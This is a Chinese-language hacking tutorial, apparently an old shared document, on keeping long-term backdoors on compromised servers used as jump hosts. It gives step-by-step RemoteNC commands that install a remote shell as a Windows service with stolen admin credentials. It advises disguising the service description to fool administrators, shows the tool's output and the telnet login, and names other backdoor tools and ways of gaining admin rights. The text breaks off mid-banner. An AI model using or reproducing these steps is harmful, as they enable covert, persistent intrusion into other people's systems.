做尽可能久后门.docVIP

一、利用长久服务： 前段时间做了一些肉鸡做跳板，辛辛苦苦上传了很多文件，但使用不到几天就被 K了，漏洞也补上了，后来干脆不用跳板了！结果警告来了！痛定思痛！如何在 肉鸡上留下后门达到长期使用的目的呢？今天早上在网上找了一早，也没有找出 什么有用的东西！还是自己动手吧！我门通常使用nc，ncx，netcat等东西来开 后门，但这些后门只是临时的，，主要用于得到Admin权限，能不能留下长期的 后门呢？能！ 我在这里介绍的只是如何制作后门，不打算介绍如何得到Admin权限！至于如何 得到Admin，方法很多！U，SQL，溢出、ipc管道、暴力…………单有一点是肯定 的，要留后门，必须有Admin权限。 我打算介绍用两种方法，确切的说是用两个软件！ 第一：用小榕的remotenc。第二，用NT Shell 1.0 Beta，这两个软件的共同点 是都能作为服务运行在远端服务器上！我使用下来感觉差不多！不过ntshell的 功能远不止开后门，呵呵！很强大的工具！可以得到asp文件！这对想破江湖的 人可是………… 再强调一点，one：太容易进入的主机不要作自己的跳板（除非你进去后留下后 门把漏洞给补上）two：速度太慢和小型http服务器不要作自己的跳板。three： 进入得到Admin权限后接下来要作的事：留后门－－》做代理（就是snake的那个 ）－－》补漏洞 以上三点属个人意见，供参考！ 好了，说了半天的废话，我们开始用小榕的remotenc做我们的第一个跳板！ 假设我们已经得到的admin权限，user：hack password：123，并且 支持ipc$远程连接！（呵呵！废话！不能连接怎么作跳板！）在自 己c:\hack下有remotenc，好，开始 c:\hack\remotenc hack 123 runasuser RemoteNC Provide Local CMD Redirect 7 91888 解释： remotenc 目标主机 用户名 密码 启动模式 服务名称 服务说明 监听的端 口 控制密码 /overwrite（注：可以不加该参数） 其中： 用户名必须是admin权限 启动模式有runasuser和localsystem两种（建议用runasuser模式，如果runasus er模式失败就用localsystem模式） 服务说明是启动后显示在服务管理器中的说明，为了迷惑管理员，建议不要用“ hack”之类 监听的端口是remotenc作为服务启动以后开的监听端口，可以是7、8等，但不要 是21、23、25、80等 控制密码：你telnet（或者ntshell）到监听端口后需要的密码，也就是你对rem otenc的控制密码。（这里就不要要了哈！别这么小气三） /overwrite覆盖已经安装的remotenc（不要覆盖我的哈） 回车后出现如下信息： =======RemoteNC Beta 4, Written by Assassin 2001======= XX [Install Service as RunasUser Mode] Connecting ..... Done. Transffer File ..... Done. Start Service ..... Done. Now You can Telnet to Connect, Have a Joy 也可能出现： =======RemoteNC Beta 4, Written by Assassin 2001======= XX [Install Service as RunasUser Mode] Connecting ..... Done. Transffer File ..... Done. Start Service ..... Service Exsited,1206Failed. 这是启动服务失败 这是可以把安装模式换为localsystem，即 c:\hack\remotenc hack 123 localsystem RemoteNC Provide Local CMD Redirect 7 91888 就能安装成功！ 如果出现第一中情况，祝贺你，然后 Microsoft Telnet open 7 正在连接到 7... 然后出现： RemoteNC Control Password:（这里输入你的控制密码91888） 然后出现： RemoteNC Control Password: ********* ===============Banyet Soft Labs. 1995-2001 All RightsReser